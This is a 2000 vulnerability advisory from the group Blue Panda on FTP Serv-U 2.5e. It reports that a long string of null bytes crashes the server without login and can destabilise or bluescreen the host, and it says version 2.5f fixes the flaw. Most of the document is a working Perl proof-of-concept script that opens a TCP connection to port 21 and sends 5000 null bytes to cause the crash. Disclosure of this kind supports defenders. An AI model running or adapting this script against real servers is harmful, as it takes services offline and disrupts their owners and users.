servu25e.txt

`=================================================================  
Blue Panda Vulnerability Announcement: FTP Serv-U 2.5e  
04/08/2000 (dd/mm/yyyy)  
  
[email protected]  
http://bluepanda.box.sk/  
=================================================================  
  
Problem: Sending FTP Serv-U a string containing a large number of null bytes  
will cause it to stack fault. The system Serv-U is running on may become  
sluggish/unstable and eventually bluescreen. A valid user/pass combination is  
not required to take advantage of this vulnerability.  
  
Vulnerable: FTP Serv-U 2.5e, possibly prior versions (untested).  
Immune: FTP Serv-U 2.5f.  
  
Vendor status: Notified. A fix has been released.  
  
===================  
Proof of concept:  
===================  
  
#!/usr/bin/perl  
#  
# FTP Serv-U 2.5e denial-of-service  
# Blue Panda - [email protected]  
# http://bluepanda.box.sk/  
#  
# ----------------------------------------------------------  
# Disclaimer: this file is intended as proof of concept, and  
# is not intended to be used for illegal purposes. I accept  
# no responsibility for damage incurred by the use of it.  
# ----------------------------------------------------------  
#  
# Crashes FTP Serv-U 2.5e by sending it a string of null bytes.  
#  
  
use IO::Socket;  
  
$host = "ftp.host.com";  
$port = "21";  
  
print "Connecting to $host:$port...";  
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";  
print "done.\n";  
  
$counter = 0;  
$buf = "";  
while ($counter < 5000) {  
$buf .= "\x00";  
$counter += 1;  
}  
print $socket "$buf\n";  
  
sleep(4);  
close($socket);  
  
`